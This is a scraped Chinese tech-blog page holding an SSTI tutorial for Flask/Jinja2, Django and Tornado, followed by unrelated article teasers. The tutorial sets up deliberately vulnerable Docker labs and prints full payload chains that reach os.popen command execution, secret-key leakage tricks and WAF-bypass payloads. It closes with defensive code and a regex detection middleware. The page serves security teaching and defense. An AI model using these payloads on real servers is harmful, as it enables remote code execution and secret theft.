news 2026/6/12 21:51:56

从Flask/Jinja2到Django/Tornado:不同Python Web框架下的SSTI漏洞利用姿势与实战环境搭建

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从Flask/Jinja2到Django/Tornado:不同Python Web框架下的SSTI漏洞利用姿势与实战环境搭建

Python Web框架SSTI漏洞深度攻防指南:从环境搭建到高级利用

在当今快速迭代的Web开发领域,模板引擎作为分离业务逻辑与展示层的关键组件,其安全性往往被开发者低估。当Flask的Jinja2、Django模板和Tornado模板遭遇精心构造的恶意输入时,服务器端模板注入(SSTI)便成为直通系统内核的致命通道。本文将带您深入三大Python框架的模板沙箱内部,揭示那些官方文档未曾警告的安全陷阱。

1. 漏洞环境科学实验场搭建

真正的安全研究始于可复现的环境。我们摒弃简单的单文件Demo,采用Docker构建隔离的靶场系统,确保实验过程不影响宿主环境。

1.1 Flask/Jinja2漏洞环境

创建flask-vuln/Dockerfile

FROM python:3.8-slim RUN pip install flask==2.0.1 COPY app.py /app/ WORKDIR /app EXPOSE 5000 CMD ["flask", "run", "--host=0.0.0.0"]

配套的漏洞代码app.py

from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/vuln') def vulnerable(): name = request.args.get('name', 'Guest') template = f"<h1>Hello {name}!</h1>" return render_template_string(template) if __name__ == '__main__': app.run()

启动命令:

docker build -t flask-ssti . docker run -dp 5000:5000 flask-ssti

1.2 Django漏洞环境

django-vuln/Dockerfile配置:

FROM python:3.8 RUN pip install django==3.2 COPY project /app WORKDIR /app EXPOSE 8000 CMD ["python", "manage.py", "runserver", "0.0.0.0:8000"]

关键漏洞视图代码:

# views.py from django.shortcuts import render from django.template import Template, Context def vuln_view(request): user_input = request.GET.get('q', '') t = Template("Search result for: " + user_input) return HttpResponse(t.render(Context({})))

1.3 Tornado漏洞环境

Tornado的异步特性需要特殊处理,tornado-vuln/app.py

import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): name = self.get_argument('name', 'Anonymous') self.write(f"Welcome {name}!") def make_app(): return tornado.web.Application([ (r"/", MainHandler), ]) if __name__ == "__main__": app = make_app() app.listen(8888) tornado.ioloop.IOLoop.current().start()

2. 框架模板引擎特性深度对比

不同框架的模板语法差异就像方言,理解这些差异是构造有效Payload的前提。

2.1 语法元素对照表

特性Jinja2 (Flask)Django模板Tornado模板
变量输出{{变量}}{{变量}}{{变量}}
逻辑块{% if %}{% if %}{% if %}
注释{# 注释 #}{# 注释 #}{# 注释 #}
过滤器`{{ var`{{ var`{{ var
安全输出`{{ var`{{ var自动HTML转义
内置函数访问受限沙箱环境严格限制相对宽松

2.2 危险内置对象分析

Flask/Jinja2的危险对象

config.__class__.__init__.__globals__ # 访问全局命名空间 request.__class__.__mro__[1].__subclasses__() # 获取子类链 lipsum.__globals__['os'].system('id') # 直接调用系统命令

Django的特殊访问方式

{{ settings.SECRET_KEY }} # 泄露密钥 {{ request.GET.dict }} # 访问请求对象

Tornado的突破点

handler.settings['cookie_secret'] # 获取加密密钥 handler.request.connection.context.key # SSL上下文

3. 漏洞利用链实战演示

3.1 Flask/Jinja2完整利用链

步骤1:检测漏洞存在

http://localhost:5000/vuln?name={{7*7}}

看到返回"Hello 49!"确认漏洞

步骤2:探索对象继承链

{{ ''.__class__.__mro__[1].__subclasses__() }}

在返回的200+个子类中寻找危险类

步骤3:定位os模块

{{ ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__ }}

遍历直到找到含os模块的类

步骤4:执行系统命令

{{ ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['os'].popen('id').read() }}

3.2 Django特殊利用技巧

Django的模板沙箱较为严格,但仍有突破方法:

方法1:利用settings泄露

{% debug %} # 开启DEBUG模式时查看完整环境 {{ settings.SECRET_KEY }} # 直接获取密钥

方法2:通过注册过滤器

# 攻击者注册自定义过滤器 @register.filter def exploit(value): import os return os.popen(value).read() # 模板中使用 {{ 'id'|exploit }}

3.3 Tornado的非常规突破

Tornado模板默认自动转义,但可通过以下方式绕过:

利用原生Python表达式

{% import os %} {{ os.popen('id').read() }} # 或通过handler对象 {{ handler.application.settings }}

4. 高级绕过技术与防御策略

4.1 WAF绕过实战手册

场景1:过滤了{{}}符号

{% with a=request.args.b %}{% print a %}{% endwith %}

场景2:禁止下划线

{{ ''|attr('__class__') }} {{ ''['\x5f\x5fclass\x5f\x5f'] }}

场景3:数字被过滤

{% set x='aaaaa'|length %}{{ ''.__class__.__mro__[x] }}

4.2 企业级防御方案

代码层防护

# Flask安全渲染示例 from markupsafe import escape render_template_string(escape(user_input)) # Django安全实践 Template("Hello {{ name }}").render(Context({"name": user_input}))

架构层防护

  1. 模板引擎运行在受限容器中
  2. 实施严格的CSP策略
  3. 关键操作使用二次确认机制

监控方案

# 检测模板注入尝试的中间件 class SSTIMiddleware: def __init__(self, app): self.app = app self.patterns = [ r'\{\{.*__.*\}\}', r'\{%.*__.*%\}' ] def __call__(self, environ, start_response): query = environ.get('QUERY_STRING', '') if any(re.search(p, query) for p in self.patterns): return self.block_response(start_response) return self.app(environ, start_response)

在云原生环境中,可以考虑使用服务网格的WAF插件实现统一防护。对于高敏感系统,建议定期进行红蓝对抗演练,使用自动化工具扫描模板注入点。记住,模板引擎的安全不仅关乎输入过滤,更涉及整个应用架构的信任边界设计。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/12 21:50:12

深入Aurix MCU内核:对比中断与Trap,搞懂系统异常处理的底层逻辑

深入Aurix MCU内核&#xff1a;对比中断与Trap&#xff0c;搞懂系统异常处理的底层逻辑在嵌入式系统开发中&#xff0c;异常处理机制的设计直接影响着系统的可靠性和实时性。对于使用Aurix/Tricore系列MCU的工程师来说&#xff0c;深入理解中断(Interrupt)与陷阱(Trap)这两种核…

作者头像 李华
网站建设 2026/6/12 21:50:10

抖音内容解析与下载架构:多策略协同的工程实现

抖音内容解析与下载架构&#xff1a;多策略协同的工程实现 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser fallback support. 抖音…

作者头像 李华
网站建设 2026/6/12 21:46:51

高效处理Excel文件的JavaScript解决方案:SheetJS深度解析

高效处理Excel文件的JavaScript解决方案&#xff1a;SheetJS深度解析 【免费下载链接】sheetjs &#x1f4d7; SheetJS Spreadsheet Data Toolkit -- New home https://git.sheetjs.com/SheetJS/sheetjs 项目地址: https://gitcode.com/gh_mirrors/sh/sheetjs 在现代Web…

作者头像 李华
网站建设 2026/6/12 21:45:20

博图 FB 封装模拟量换算

博图 FB 封装模拟量换算&#xff5c;两种实现方式&#xff08;NORM_SCALE / 一次函数 ykxb&#xff09;可直接复制 大家好&#xff0c;本篇延续模拟量科普内容&#xff0c;手把手把模拟量量程换算封装成独立 FB 功能块&#xff0c;一次封装、反复调用&#xff0c;多个压力 / 温…

作者头像 李华